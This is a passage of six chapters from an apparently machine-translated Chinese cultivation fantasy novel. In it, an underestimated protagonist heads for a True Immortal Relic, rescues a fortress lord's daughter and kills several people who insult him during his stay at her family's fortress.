 Chapter 568： Master, can kill precepts?

    In the center of the northwest, there is a high mountain soaring into the clouds.


    Its name, Wuwangshan!


    Wuzuong was built on this mountain.


    now.


    In the Wuwangxian Palace on the top of the mountain.


    Bu Kong Chan, who was sitting cross-legged, suddenly flew a small golden sword in front of him.


    Bukong Chan opened his eyes, looked at this golden sword, and frowned slightly.


    "Isn''t this the sword of Junior Brother He Tianyuan? Could something happen to him? Who would dare to kill my true disciple of Wuwangxianzong?"


    With that, Bu Kong Chan stretched out his hand, and the golden sword fell into her palm.


    But as soon as it was in the palm of the hand, this lingering little sword lost all its spirituality and became a piece of scrap iron.


    Bukong Chan was wondering, so he heard a low voice outside saying, "Sister, Master let you pass!"


    Bukong Chan nodded, got up and walked out of the palace where he was staying. As soon as he stood up, a flying sword appeared under his feet, and then flew straight to the hall in the sky.


    When Bu Kong Chan walked into the hall, Wu Wangzong''s chief Wen Xin was standing at the window looking at the clouds and mist outside.


    "Master!" Bu Kong Chan said with a hand.


    Gan Wenxin turned her head and glanced at her apprentice, then smiled slightly, "Cultivation is also diligent! Not bad!"


    Then he sighed, "Tianyuan is dead! Do you know?"


    Bukong Chan nodded and offered the golden sword in his hand, "Master, Junior Brother Tianyuan''s golden sword flew back, but after it fell into my hand, he lost his spirituality!"


    "Yes! My teacher just used the method of searching for souls and never found the soul of Tianyuan. It can be seen that the person who killed him also killed his soul!" Gan Wenxin said.


    Bukong Chan''s face was cold, "Master, this person is so cruel, I would like to go down the mountain to avenge Tianyuan Junior Brother!"


    Gan Wenxin shook his head, "This is not in a hurry, I asked you to come here for something else!"


    "The true celestial remains of Bafang Mountain will appear soon. This is the only opportunity to enter this collection in the past three hundred years. It is inconvenient for the teacher to go, so you can take this trip for the teacher!"


    "Yes!" Bu Kong Chan had no objection.


    "Remember, this matter has spread! The Chidori Monarch and the people from the surrounding major sects will take action. You have to be careful!"


    "Yes!" Bukong Chan lowered his head, raised his eyebrows like two sharp swords, and a thick murderous aura rose in his eyes.


    "Master, can kill precepts?"


    Gan Wenxin smiled slightly, "I don''t know what''s going on in this remains, but if there is a secret treasure out there, it''s up to you!"


    "The disciple understands!"


    Gan Wenxin smiled triumphantly looking at the back of Bu Kong Chan who was going away.


    The disciple myself cultivated is the sword of Gengjin, killing the most.


    In terms of lethality, even better than himself.


    Send her down the mountain to keep the matter safe.


    At the same time, similar scenes are being staged among the major sects.


    And on the main road, Xue An was riding on a hired carriage, heading towards the Bafang Mountain without any rush.


    There was another streamer flying above the sky, and Xue An knew that it should also be the person going to Bafang Mountain.


    At this time, the man driving the car turned his head and said, "Brother, there are more and more immortals on the road in the past few days. It is estimated that something big has happened before. I advise you if there is nothing wrong, Don''t go any further!"


    For ordinary people like them, the streamers in the sky are all immortals.


    Xue An just smiled, "Why don''t it matter? Just drive your car in peace!"


    Seeing that the dissuasion was ineffective, the man who drove the car had to continue on the road worriedly.


    The farther you go, the more lively the road becomes.


    From time to time, there are cultivators riding tall wildebeests or tigers and leopards.


    At this time, the driver who drove the car would carefully pull the car to the side of the road.


    And these repairers will look at the carriage with cold eyes.


    But when they saw Xue An, who was still a Chinese, without any fluctuations in his cultivation level, they all snorted with disdain and walked away.


    Xue An didn''t get angry either, just smiled slightly at the back of these cultivators going away, and then continued to rest lazily on the carriage.


    But unlike his indifferent, the driver became more frightened as he went forward.


    Because there are more and more cultivators on the road, this is obviously not a good sign.


    For ordinary people like them, these cultivators are all immortals who hold the power of life and death, killing themselves is the same as crushing a bug.


    But the fare given by Xue An was another figure that he couldn''t refuse. In desperation, he could only bite the bullet and continue on the road.


    On this day, they were walking forward. At this time, they were not too far away from Bafang Mountain. You could see the majestic mountain in the distance, and you could also see the outline of Bafang City under the mountain.


    Xue An suddenly stopped him, "Stop!"


    The coachman hurriedly took the wildebeest and stopped to the side of the road.


    "Brother, what''s wrong?"


    "Wait for a moment!"


    As Xue An said, after getting off the carriage, several vertical jumps disappeared.


    The coachman stared blankly.


    He didn''t expect this little brother who spoke very kindly to be so agile.


    Xue An just sensed that someone was fighting in the woods on the roadside through his divine consciousness, so out of curiosity, he came over and took a look.


    Waiting to come not far from where the accident happened.


    really.


    In this clearing in the woods, two groups of people are fighting each other.


    One of them was a group of young men and women who were being besieged by the regiment, and were all wounded.


    They were besieged by a group of men in black.


    I heard the leader of the black man grinning and said, "Is the descendants of Feiyanbao just so capable? Just because you still want to explore the treasures of true immortals? I really don''t know how to write dead words!"


    Among the besieged people, a woman snorted angrily Fierce Spirit Sect, you shameless villains, unexpectedly attacked! Don''t you be afraid of destroying your sect after being known by my father? "


    "Hehe, just because you Feiyanbao still want to destroy my sect? Tell you, since you are besieged today, then you don''t want to go out alive! I will pull out your souls and refine your physical bodies into puppets, souls It becomes a fierce spirit! Hahaha!


    The laughter stopped abruptly, because Xue An had already entered the arena.


    "Who?" The leader of the fierce spirit sect was startled first, and then he grinned after taking a look at Xue An.


    "Does a mere Chinese want to be nosy? Get out of here! Otherwise..."


    "Otherwise what?" Xue An smiled slightly.


    "Otherwise, I will treat you humble Chinese..." The boss wanted to continue.


    Xue An raised his eyebrows slightly when he heard the words humble and blasted out a punch.


    The boss didn''t take it seriously, he just wanted to resist.


    But Xue An''s punch directly smashed his arm into powder, and then banged on his head.


    boom.


    The boss''s head was shattered with a punch, and the dead body fell to the ground.


    Xue Ancai said lightly: "Noisy!"

 Chapter 569： Senior please stay

    These men and women all watched this scene dumbfounded.


    Originally, when Xue An first appeared, they were still full of joy, thinking that they were saved.


    But when he saw that he was a Chinese man with no cultivation level, he fell into despair again.


    But no one would have thought that this Chinese man would hit the leader of the fierce spirit sect with one punch!


    At this time, the remaining Fierce Spirit Sect disciples showed extreme fear and roared.


    "The incense lord was killed! If you don''t kill this guy, we all have to die too!"


    "Fight!"


    Although the disciples of these fierce spirit sects are very poor in cultivation, because their incense master was killed, if they can''t handle the enemy, they will have to be tortured to death after returning!


    Because at this moment they are all blushing, and they are killed by unfolding their magic weapons.


    Fierce Spirit Sect.


    As the name suggests, it is a sect that plays with ghosts and ghosts.


    As soon as these disciples took action, one by one fierce evil spirits appeared and went straight to Xue An.


    These men and women were also forced to take a step backwards by the powerful aura of these evil spirits, and their faces appeared in shock.


    But in the face of such an attack, Xue An looked calm, raised his hand and snapped his fingers lightly.


    Snapped.


    With this crisp sound.


    These originally aggressive evil spirits howled miserably, then broke to pieces and disappeared without a trace.


    Ok?


    The woman who had just spoken was shocked and looked at Xue An in disbelief.


    how is this possible?


    So many evil spirits were wiped out just by snapping their fingers?


    Even more surprised than her are the remaining fierce spirits.


    Because they are all bound to the evil spirits, the death of these evil spirits also caused a serious injury to these people.


    At this time, Xue An stretched out his hand impatiently, "Lend your sword for a use!"


    Following this faint voice, the woman''s saber flew out suddenly and fell into Xue An''s hands.


    Xue An flicked the tip of the sword.


    The long sword that resembled a long autumn water let out a crisp sword howl.


    Xue An nodded approvingly: "Good sword!"


    After all, lifting the sword is a cross cut.


    Seeing a bright sword light across the sky.


    After the sword light.


    These fierce spirit sect members all froze in place, and a blood line appeared above their throat.


    At the beginning, the blood line was very shallow, and it turned red in the blink of an eye, and then many blood springs spewed out.


    Then the heads of these people rose to the sky, and the dead bodies fell.


    At the same time, the remaining power of this sword light was not eliminated, and after slashing dozens of big trees, it disappeared.


    With the sound of broken trunks, these big trees slowly fell to the ground.


    And this woman looked silly.


    She is a swordsman, and she can naturally see how terrifying Xue An''s seemingly ordinary sword just now is.


    It can even be said that it has reached the point where it is not working.


    With this kendo cultivation base, this person is definitely not an ordinary person.


    At this time, Xue An said calmly: "The sword is good! Give it back to you!"


    Speaking of throwing the sword in his hand back, a sword light came straight to the woman.


    The person behind the woman let out an exclamation.


    But this woman did not dodge, because she could not feel the killing intent of this sword.


    really.


    I saw the sword light flew up and returned directly in the scabbard.


    These people just let out a sigh of relief.


    It turned out to be the sword!


    Xue An was about to leave.


    This woman has awakened from the consternation just now, and hurriedly took a step forward and bowed her hands.


    "Senior, please stay!"


    Xue An said indifferently: "What else is there?"


    "Thank you Senior for helping me, I am Lian Yunting, the daughter of Feiyanbao Fortress!"


    Lian Yunting reported to herself first.


    Xue An nodded slightly when he heard the words, "What then?"


    "Huh?" Lian Yunting was a little dumbfounded.


    In her opinion, although her family''s Feiyanbao is not as tyrannical as Wuwangzong, it can be regarded as a sect, but this Chinese man seems to have never heard of it.


    "It''s okay, I''ll leave first!" Xue An turned and left.


    "Where are the seniors going?" Lian Yunting hesitated for a moment before hurriedly asked.


    "Bafang Mountain!" Xue An didn''t turn his head back.


    "Is it possible that the predecessors also came for the True Immortal Relics?" Lian Yunting asked.


    Xue An stopped, turned around and glanced at her with a faint smile, "Do you also know the remains of the true immortal?"


    Lian Yunting smiled bitterly, "Now who doesn''t know that the True Immortal Relic is about to be born, almost all the cultivators in the northwest have arrived!"


    "So what?" Xue An said lightly.


    Lian Yunting hurriedly said: "Senior, I have no other meanings, but my Feiyanbao is a bit strong in Bafang City. If Senior doesn''t dislike it, you can come back to Feiyanbao and wait with me! So that I can repay. What do you think of your life-saving grace?"


    Xue An slightly pondered.


    The young men and women behind Lian Yunting started talking in a low voice.


    "What''s wrong with the second lady?"


    "Yes! This Chinese man has no cultivation base at all, so why should he go to our fort?"


    Lian Yunting looked back at these guys fiercely.


    These people hurriedly closed their mouths and dared not speak.


    At this moment, Xue An nodded, "Alright!"


    "Thank you senior!" Lian Yunting was overjoyed.


    Wait for them to come to the avenue.


    The coachman is still waiting for Xue An.


    Seeing Xue An''s safe return, the coachman let out a sigh of relief, "Brother, you are back!"


    Xue An smiled slightly.


    Although the coachman is less timid, he is pretty good.


    "These..." The coachman noticed Lian Yunting on the side, and when he saw that these people were all well-dressed, and they all had a strong aura, he shrank his neck in fright.


    "It''s okay, this is what I happened to encounter, um...what''s the name? The people of Feiyanbao!"


    Feiyanbao!


    After hearing the name, the coachman turned pale with fright.


    Shaking all over Come back by yourself! No need to go the rest of the way! "Xue An said and gave the coachman the carriage fee.


    The coachman was naturally thankful, but he didn''t want to stay in front of these "fairies" for a moment, and hurriedly left after receiving the money.


    Lian Yun has been watching this scene with surprised eyes.


    Had it not been for the fact that Xue An had just witnessed killing more than a dozen disciples of the Fierce Spirit Sect with one sword, and smashed the head of the leader of the Fierce Spirit Sect with a punch.


    It is hard for even Yunting to imagine that this man who is as pleasant as the coachman would be an expert who kills without blinking!


    In which aspect is the real him? Lian Yunting had some doubts in her heart.


    At this time, Lian Yunting''s men had already released a messenger bird.


    After a while, I heard the sound of rumbling horses hoofs in the distance.


    In the blink of an eye, I saw a huge team of wildebeest rushing over. When it was close to each other, the leader of the team rolled over and dismounted, "Second Miss!"


    Lian Yunting snorted coldly, but ignored him, just looked at Xue An, "Senior, please come with me!"


    When Lian Yunting and Xue An got on the wildebeest and were walking forward.


    The young man followed, looking at Xue An''s back from time to time, his eyes flickered, and he didn''t know what he was thinking.

 Chapter 570： Little Lolita with a low smile

    Bafang City is located on the only way to Bafang Mountain, where the city walls are tall and lined with shops, which is obviously a prosperous place.


    In the northeast corner of Bafang City, Feiyanbao''s range of strength.


    When Xue An followed Lian Yunting to the gate of Feiyanbao, someone was already waiting here.


    "Second lady, the master already knows about the murderous spirits ambushing you, he is now meeting with guests, let me wait for you here!" Feiyanbao''s butler said respectfully.


    Lian Yunting nodded, "This is the predecessor who saved me, he''s a good hospitality, don''t neglect!"


    "Yes!"


    Lian Yunting smiled at Xue An again, "Senior, I''m going to change clothes! You go to the living room to rest for a while!"


    Xue An nodded.


    Lian Yunting is gone.


    The butler stepped forward and said, "Senior, please come with me!"


    Xue An followed the housekeeper into Feiyan Castle.


    The hundred-year-old school is naturally extraordinary. Needless to say, the carved beams and painted buildings, especially the architectural pattern, have a flavor of battle formation.


    Xue An looked at him as he walked, and the butler couldn''t help but see a strange color in his eyes.


    When I arrived in the living room, a maid offered tea, and the butler quietly left after a while with him.


    Xue An was left alone in the huge living room.


    While drinking tea, Xue An looked at the furnishings in the living room.


    After a while, he said indifferently: "Have you seen enough?"


    Following his voice, a girl gave a cry and walked out.


    This is a little Lolita who is only eleven or twelve years old, she is very cute, she is looking at Xue An with big eyes.


    "Are you the predecessor who saved my second sister?" the little girl asked playfully.


    Xue An nodded.


    "Wow, that''s amazing! But can''t the Chinese cultivate?" the little girl asked, tilting her head.


    "Who said that people who have to practice can become seniors?" Xue An said lightly.


    The little girl nodded, "It makes sense! When my dad forces me to practice, I will respond to him like this!"


    Xue An laughed dumbly, and the little girl looked like a young girl who had not been involved in the world.


    "My name is Lian Yunluo, what is the name of Senior?" the little girl asked.


    "Xue An!"


    "Senior Xue, how old are you today!"


    "Do you have a family?"


    "..."


    A series of question marks made Xue An dumbfounded, "Are you here to check your household registration?"


    "What is the hukou?"


    "Uh����."


    Xue An was also bored, so he talked and laughed with this little loli.


    But often before Xue An said a few words, this Lian Yunluo laughed so hard that he couldn''t afford to laugh, making Xue An a little baffling.


    This little loli...the laugh point is too low!


    At this moment, a man outside the door whispered: "Miss San, Lord Fortress is looking for you!"


    Lian Yunluo nodded with boredom after hearing this, "Okay, I see! It is probably forcing me to practice again, which is really annoying!"


    Then he blinked at Xue An, "Senior, you are really funny!"


    "Thank you!" Xue An smiled faintly, but in the next second his calmness was broken by Lian Yunluo''s words.


    "It would be great if you could be my brother-in-law! Hee hee hee! Or I can marry you!" Lian Yunluo smiled and ran away.


    Xue An shook his head somewhat nonchalantly.


    This little loli probably doesn''t know what it means to marry.


    At this moment, the young man stepped in and looked at Xue An with an indifferent expression.


    The atmosphere in the room suddenly became dignified, and a powerful aura enveloped Xue An.


    Xue An didn''t seem to notice it. He picked up his cup and took a sip of tea slowly, then raised his eyes slightly, "Something?"


    The young man said coldly: "I just want to tell you, don''t think what can happen if you save the second lady!"


    Xue An raised the corner of his mouth, put the tea cup down, and lay down comfortably on the chair, with his fingers facing each other, and said lightly: "Are you threatening me?"


    The man was silent for a moment, "I''m telling you! It''s best to stay away from Miss 2 and Miss 3! Otherwise..."


    "Otherwise?"


    "Otherwise, I will let you know how great it is!"


    As soon as the young man spoke, he suddenly felt that his shoulders sank, and when he looked at the chair there was no trace of Xue An, and then he heard a calm voice speaking from the back of his neck.


    "If I want to kill you, now your neck is broken, believe it?"


    The young man''s muscles were stiff, and there was a look of shock in his eyes.


    When did this man come behind him?


    What''s the matter with this ghostly speed?


    Didn''t he have no cultivation base?


    Suspicious in his heart, Xue An patted him on the shoulder.


    "If you like her, you will chase it. By threatening others, you won''t get the favor of women! They only worship the strong! Understand?" Xue An said lightly.


    The young man looked confused and didn''t seem to understand why Xue An said this to himself.


    At this time the housekeeper came again, "Senior, the castle master has set up a dinner and invites you to go to the banquet! Hey, even Fushan, what are you doing here?" The housekeeper sank and asked.


    Lian Fushan''s face turned pale, and he seemed to be very afraid of the butler, and didn''t know how to answer.


    Xue An smiled slightly, "It''s okay, just discussing some issues!"


    The butler glanced suspiciously at Lian Fushan, but did not ask further, and said to Xue An, "Please follow me!"


    Xue An nodded with a smile, followed the big housekeeper and left the living room to the front house.


    The owner of Feiyanbao is called Lian Yuanhua, who is more than 40 years old and has three beards and a calm expression. The light that bursts out from time to time in his eyes shows his impressive strength.


    In addition, there are more than a dozen men and women of all ages.


    Lian Yunting was also there, but his face looked ugly, as if he had just been arguing with someone.


    After seeing Xue An walking in, Lian Yunting stood up suddenly.


    "senior!"


    Xue An nodded slightly.


    At this time, Lian Yuanhua slowly got up and left his seat, and gave his hand slightly, "Thank you for saving my daughter! Please sit down!"


    Xue An''s smile did not change, and he glanced around the whole room lightly and then sat down on the chair naturally.


    "It''s just a small effort, don''t be polite!"


    Lian Yuanhua was a little surprised at this time.


    He was very grateful today when he heard that his daughter was ambushed by the evil spirit sect and then saved by one person.


    But later he knew that the person who saved his daughter was actually a Chinese.


    And he is still a Chinese with no cultivation.


    Lian Yuanhua couldn''t help but feel a little disapproving, so he wanted to let it go.


    But even Yunting refused to say anything, and had a dispute with herself for this. In the end, he set a banquet to see what this person came from.


    Unexpectedly, this Chinese man was still calm and calm in the face of so many people.


    This surprised Lian Yuanhua.


    Could it be that as Yunting said, although this person has no cultivation base, his strength is extremely strong?


    Lian Yunting personally filled Xue An with a glass of wine and handed it over.


    "Senior, I respect you for this cup!"


    Xue An smiled slightly, took the cup and was about to drink.


    Just heard a gloomy voice, "Hehe, a humble Chinese, what right does he have to sit at the banquet?"

 Chapter 571： Its a pity that this table is good

    Hearing this, the room instantly became quiet, and everyone''s eyes focused on Xue An, wanting to see how he reacted.


    Lian Yunting frowned and wanted to speak, but Xue An waved his hand.


    Then he held the cup in his hand and said lightly: "Who was talking just now? Stand up for yourself!"


    "Hehe, what a big tone! That''s what I said, what can you do?" Following the voice, a tall and mighty man walked out with his head raised.


    The skin of this man was like iron and steel, and his eyes were radiant and vigorous.


    Seeing this man, even Yunting couldn''t help frowning.


    Because this person is a coach of Feiyanbao, and also a highly regarded subordinate of her father.


    He is so superb in his horizontal training, he is known as the invincible King Kong iron coach!


    I saw this man approaching Xue An, took a condescending look at Xue An, and sneered.


    "Boy, I don''t know what method you used to fool the second lady, but in the eyes of my iron barrier, you Chinese are all **** waste wood! Existing like moths, you dare to shine in front of my flying smoke castle. Wu Yaowei?"


    These words were extremely ugly, and many people were gloating and looked at Xue An coldly.


    Under these gazes, Xue An looked sad or not, and slowly drank the wine in the glass.


    Then he sighed slightly, "It''s a pity that this table is great!"


    "Huh?" Lian Yunting couldn''t help being a little stunned when she heard these words, not understanding what it meant.


    Then Tie Lianjiang grinned and said, "You..."


    Before the latter words were spoken, Xue An stood up abruptly and grabbed the iron barricade''s hair.


    Tielanjiang roared and wanted to resist.


    But Xue An didn''t give him this chance at all, and squeezed it on the table in one hand.


    Tie Lianjiang frantically struggled and messed up the table.


    But no matter how he struggled, he couldn''t get rid of Xue An''s hand.


    At the same time, Xue An took a silver chopstick in his other hand and said lightly: "When you see the Chinese in your next life, remember to kneel down and beg for mercy!"


    After speaking, he stabs his chopsticks.


    The silver chopsticks were pierced directly from the left ear of the iron bar, pricked out from the right ear, and penetrated the thick table board, nailing it firmly to the table.


    The iron barrier river that had been struggling crazily was as if struck by lightning, it was paralyzed in an instant, blood mixed with brain pulp seeping from the ears and nose, the expression in his eyes dimmed.


    He died absolutely!


    Xue An let go of his hand blankly, took a step back, looked around the audience, and said lightly: "Who else?"


    There was a dead silence, and after a while, a commotion was heard.


    "He killed the iron coach!"


    "how is this possible!"


    In these exclamations, Lian Yuanhua and the elders of Bafang City all stood up suddenly and stared at Xue An.


    Especially Lian Yuanhua, his complexion at the moment is ashen.


    Because he can be sure that Xue An did not have a cultivation base, and just because of pure strength, he subdued the iron barrier and killed him.


    Such a terrifying force naturally made even Yuanhua frightened.


    And in the end, Xue An''s question of who else was like a slap in the face, slapped everyone present on the face.


    "What a madman, I dare to kill people in public in my Feiyan Castle, I will let you know today..." a gray-haired old man yelled.


    Xue An waved his hand and said impatiently: "Come if you want to fight, don''t talk nonsense!"


    These words made the old man jump into a rage, and rushed over with a roar.


    This old man''s cultivation is good, at least he is also the pinnacle of Sanxian, but when he rushed to Xue An, before he used any tricks, he was slapped and slapped directly by Xue An.


    I saw the old man flew out with a graceful turning motion.


    Those with sharp eyes can even see the old man''s mouth full of teeth flying in the air.


    Boom.


    The old man smashed several tables and chairs when he landed, and then he passed out into a coma.


    This can be regarded as arousing public outrage, and these people screamed and rushed upward.


    Xue An stood with his hand in his hand, without any panic, "Come on, today Xiaoye singles out your trash!"


    Seeing the more trouble getting worse, Lian Yunting, who had been in a state of shock, rushed over and tried to stop it.


    But these elders had red eyes, and they were about to fight Xue An to the death.


    At this moment, even Yuanhua said solemnly, "Stop it for me!"


    In Feiyanbao, Lian Yuanhua has the most weight.


    He shouted so, everyone stopped.


    "Fort Lord!" someone shouted.


    Lian Yuanhua ignored it, and instead smiled at Xue Anpi and said without a smile: "Good skill! Good physical skill! It really deserves to be the master of killing the evil spirits and saving my daughter!"


    Xue An remained unmoved, just watched quietly.


    Lian Yuanhua gave a light cough and said, "First take Elder Song down to heal his injuries, and then lift the body of the head teacher Tie away!"


    After an order, someone soon came forward and packed everything up.


    Then Lian Yuanhua said: "I have seen what happened just now. Everything is because of the provocation of the head coach. He is responsible for the failure and death. Even if the matter is over, I will not mention it again!"


    Although the elders were dissatisfied with his words, they had no choice but to bow their heads.


    Then Lian Yuanhua ordered people to put down a banquet again, pretending to be warmly entertained.


    Finally, someone was sent to rest in the guest room.


    Wait until Xue An is gone.


    Lian Yuanhua''s expression became gloomy.


    "Fort Lord, just let this guy go?" Some elder said unconvinced.


    "Let it go? Haha, of course it is impossible to let him go! The person who dared to kill my Feiyanbao in front of me is simply not taking me seriously!" Lian Yuanhua said coldly.


    "Then you..."


    "Now that the True Immortal Relic is born soon, Yun Zhi is coming back soon! Isn''t this guy also coming for the True Immortal Relic? Then I will find a way to make him a pawn!"


    Hearing what he said these elders'' eyes lit up.


    "Are you saying that Missy is coming back?"


    Lian Yuanhua nodded triumphantly, "Yun Zhi is now the true biography of Shanhaizhai''s inner chamber, and this time he came back on the order of his teacher to be the treasure of the true immortal!"


    Shanhaizhai!


    Upon hearing this name, all the elders showed deep awe.


    "The eldest lady is indeed a wizard of heaven, and she can actually become the true biography of the inner room in the Zhongzhou school! The future is really limitless!" Someone complimented.


    Lian Yuanhua said triumphantly: "Moreover, this guy''s physical skills are indeed very powerful. After Yunzhi comes back, trying to figure out his physical skills training method will be of great benefit to our ordinary soldiers in Feiyan Castle. what!"


    "The castle master is wise!" Only then did these elders understand Lian Yuanhua''s intentions and admired them.


    And Xue An returned to the guest room at the moment, and Lian Yunting said apologetically: "Senior, my father is so prejudiced, don''t be angry!"


    Xue An smiled slightly, "It''s okay!"


    After a few more words, Lian Yunting withdrew.


    Xue An stood in the room, his smile getting colder.


    Want to use me?


    OK!


    Then see who can play to the end!

 Chapter 572： He seduce me!

    In the next few days, Xue An stayed in this Feiyan Fort.


    Daily fine wine and delicacies are open for supply.


    Xue An was not polite, and ate as soon as he sent it.


    With the passage of time, the Bafang City has become more and more lively.


    Countless repairs come here every day.


    Among them are the masters of Sanxian or Longevity who control the streamer.


    There are also celestial or happy little monks.


    These little cultivators came here just to see the excitement. It would be even better if they could get a treasure by fishing in troubled waters.


    After all, it was a treasure of a true immortal, and any one of it might be a rare treasure.


    However, Xue An didn''t care much about these changes in the outside world, but occasionally raised his head to look at the streamer in the sky, and smiled slightly.


    In addition to Lian Yunting coming to see him every day, the little Lori Lian Yunluo often sneaked to Xue An.


    It may be that Xue An has two daughters, which gives him an inexplicable affinity for girls like Lian Yunluo.


    Of course, the point is that this little loli''s laugh is simply too low.


    Sometimes Xue An just told a very simple joke, which would make him laugh so hard he could not laugh.


    Often at this time, Lian Fushan, who has been by Lian Yunluo''s side, peeked in in surprise, seemingly unable to understand why this third lady is so happy.


    Today is no exception.


    Lian Yunluo sneaked out to play with Xue An while her father Lian Yuanhua was busy.


    Xue An is now a little helpless with this little girl.


    "Don''t you need to practice? If you skip class all day, be careful to be found out by your father to hit you!" Xue An said sternly.


    Lian Yunluo chuckled, "Daddy won''t beat me! And the practice is so boring! I''ve figured it out. When I grow up a little bit, I will go to Zhongzhou with my eldest sister to practice. There are all kinds of rare medicines. Yes, don��t you just have to take a few tablets?"


    Seeing this little girl who worked through the plan, Xue An was a little bit ridiculous.


    "So your eldest sister is very good?"


    Lian Yunluo nodded vigorously, "Of course it''s amazing! Or why dad always looks proud when he mentions the eldest sister! And I heard that some time ago she has become a true disciple in the inner room, you say it is amazing Do not?"


    Xue An smiled slightly, "Awesome!"


    "Hey, last time you told me that the monkey went to make trouble in the Temple of Heaven, and then?" Lian Yunluo asked anxiously.


    Xue An was idle during this period of time, and was annoyed by this little girl, so he simply told her some stories about Journey to the West.


    All of a sudden, this little Lolita was fascinated. Every day, it was almost impossible to think about the plot behind.


    Coming so early today, I wanted to hear what happened next!


    Xue An coughed lightly and rubbed his shoulders, "It seemed to have a stiff neck when I went to bed last night, and my neck really hurts!"


    Lian Yunluo hurriedly moved a small stool, stood behind and gently rubbed Xue An''s shoulders.


    "Senior, do you feel comfortable like this?"


    "Well! Not bad, try harder over there!" Old God Xue An was enjoying the little girl''s massage, and he couldn''t help but feel a little funny.


    Does this count as child labor?


    Lian Yunluo has been spoiled since childhood, and she has done such things as waiting for people, but in order to listen to the story, she can''t care so much. Two small hands vigorously massage Xue An''s shoulders.


    Xue An began to talk about the story of Monkey King''s trouble in the Heavenly Palace.


    When it was said that Monkey King was suppressed by the Buddha at the foot of Wuzhi Mountain, even Yunluo''s tears came down.


    "Senior, this Tathagata Buddha is really hateful, oooooo, how can Wukong eat when he is under pressure! No, I''m going to save him!"


    Xue An smiled slightly, "How do you save it? Do you know where Wuzhi Mountain is?"


    "I don''t know, but seniors must know!" Lian Yunluo looked at Xue An eagerly.


    Xue An is waiting to answer.


    I heard Lian Fushan''s panic shout from outside, "Miss!"


    As soon as the voice fell, the door was kicked open, and Lian Yunzhi walked in with a murderous look.


    At this time Xue An was leaning on the Grand Master''s chair, while Lian Yunluo was standing on the back stool and massaging his shoulders.


    Because I just cried, Lian Yunluo still had tears on her face.


    This scene fell in Lian Yun''s eyes, and it made him furious.


    "What a madman, dare to seduce my little sister and die!"


    Speaking of Lian Yunzhi, he took a palm.


    Lian Yunzhi had just returned to Feiyanbao. After seeing his father, he stopped by the house to take a look at his favorite little girl.


    But when I entered the house, I found no one. When I asked the servants, they all said that they had gone out with the guard leader Lian Fushan.


    With a move in Lian Yunzhi''s heart, he immediately followed Lian Fushan''s Qi machine to find him, and then found out his little sister was in the room with a strange man with his spiritual thoughts.


    Lian Yunzhi was cultivating in Zhongzhou Shanhaizhai, and he came into contact with a lot of people and things. At that time, he wanted to get crooked. This was how he kicked in.


    The scenes she saw at the time confirmed her thoughts, believing that Xue An was taking advantage of her younger sister, so this palm carried infinite anger and power was terrifying.


    Xue An frowned slightly, and slammed the dead hand without asking for indiscretion. If it were someone else, it would have been slapped to death by this palm. Therefore, there was some anger in his heart, and he did not move the place, so he waved his hand and faced him directly. Took this palm.


    Just listen to a loud bang.


    An invisible shock wave directly blasted the furniture in the room to dust. At the same time, cracks appeared on the floor under the armchair Xue An was sitting on, but Xue An still didn''t move.


    Lian Yunzhi was backed by this palm three steps, then looked at Xue An with shocked eyes, as if he could not believe his eyes.


    "You...can actually take my hand?"


    "Is it very strange? Also, can I trouble you to figure out who seduce your little girl?" Xue An said coldly Hmm... Then... "What else does Lian Yunzhi want to say.


    Lian Yunluo jumped off the chair and ran over excitedly, "Sister, you are back!"


    Lian Yunzhi loved his youngest sister so much that he couldn''t help but smile, "Well, that was just..."


    "Oh! I was listening to seniors telling a story just now! By the way, help him squeeze his shoulders! Also, eldest sister, why do you hit someone when you come in? And what are you talking about seducing?"


    Lian Yunzhi felt a little embarrassed.


    It seems that I really made a mistake!


    "Uh... to seduce is... to marry someone!" Lian Yunzhi himself is still a woman who has not been out of the cabinet, and it is naturally difficult to explain this.


    Unexpectedly, after listening to this Lian Yunluo thought for a while, and then nodded, "Big sister, that senior did seduce me!"


    Lian Yunzhi, who had already died of anger, couldn''t help but full of anger when he heard the words, "Funatic, you still said that you didn''t seduce?"


    Xue An was also a little dumbfounded, "Hey, little girl, you have to make it clear!"


    "Because I want to marry Senior, and let Senior tell me stories every day! Is there any problem?" Lian Yunluo asked with a small face up.


    Lian Yunzhi was glaring at him and wanted to do it: "..."

 Chapter 573： The frog at the bottom of the well dare to talk?

    Although finally clarified everything is a misunderstanding.


    However, Lian Yunzhi still stared at Xue An, his complexion uncertain.


    Sure enough, as his father said, this person was extremely powerful in physical skills, and he could actually take a palm of himself!


    Although he only used a minute of cultivation base because he was afraid of affecting Yunluo, it was also extremely terrifying.


    Because he is a "mortal" with no cultivation skills!


    If this terrifying talent in physical skills can be cultivated, it is more than enough to be a true disciple in Shanhaizhai.


    If it takes time, it can even become a true biography in the inner room, on an equal footing with yourself.


    what a pity����.


    It''s a Chinese who can''t practice!


    Lian Yunzhi sighed secretly, his face returned to indifference.


    "You are very good!"


    "Oh?" Xue An smiled lightly, noncommittal.


    "As a Chinese, you are indeed proud of your strength, but you have to remember..."


    Lian Yunzhi''s face was full of arrogance, "This is Feiyanbao! It is a place where you can speak with your cultivation base and strength, so I hope you can do it yourself!"


    After all, Lian Yunzhi dragged the still reluctant Lian Yunluo to leave.


    A mocking smile appeared at the corner of Xue An''s mouth, and said faintly: "It''s a mere pinnacle of longevity, and his tone is not small!"


    Lian Yunzhi suddenly turned around after hearing the words, his face cold, and he was about to speak.


    Xue An waved his hand, "Don''t look at me like this, to tell you the truth, I''m here for the remains of the true immortal, and I have no interest in your Feiyanbao at all!"


    "True Immortal Relic?" A sneer appeared on Lian Yunzhi''s face.


    "You know that almost all the practitioners in the entire northwestern land have arrived for the sake of this true immortal relic. Among them, those with amazing talents are even more unfamiliar. Your physical skills are good, but you don��t have cultivation skills. No! Do you dare to talk about the treasures of the true immortal? It''s really shameless!" Lian Yunzhi said with a sneer.


    Xue An sighed slightly after hearing the words, "It sounds reasonable, but I can only say...the frog at the bottom of the well, dare to talk?"


    "you����."


    Lian Yunzhi was startled first, and then he realized that Xue An likened himself to a frog in the bottom of the well.


    For a while, it was so angry that it was about to happen.


    But after hesitating for a while, Lian Yunzhi sneered.


    "It''s useless to use your tongue here. The world speaks by strength! Since you say that, then I will have to learn by then. What qualifications do you have to say that others are frogs at the bottom of the well!"


    After all, Lian Yunzhi dragged Lian Yunluo away.


    Xue An looked at her back, smiled slightly, and then said softly, "Isn''t it coming out?"


    Following his voice, Lian Yunting walked out of the corner.


    "So seniors knew I was here!"


    Xue An was noncommittal, "You seem to be hiding from your older sister."


    Lian Yunting said bitterly, "Yes!"

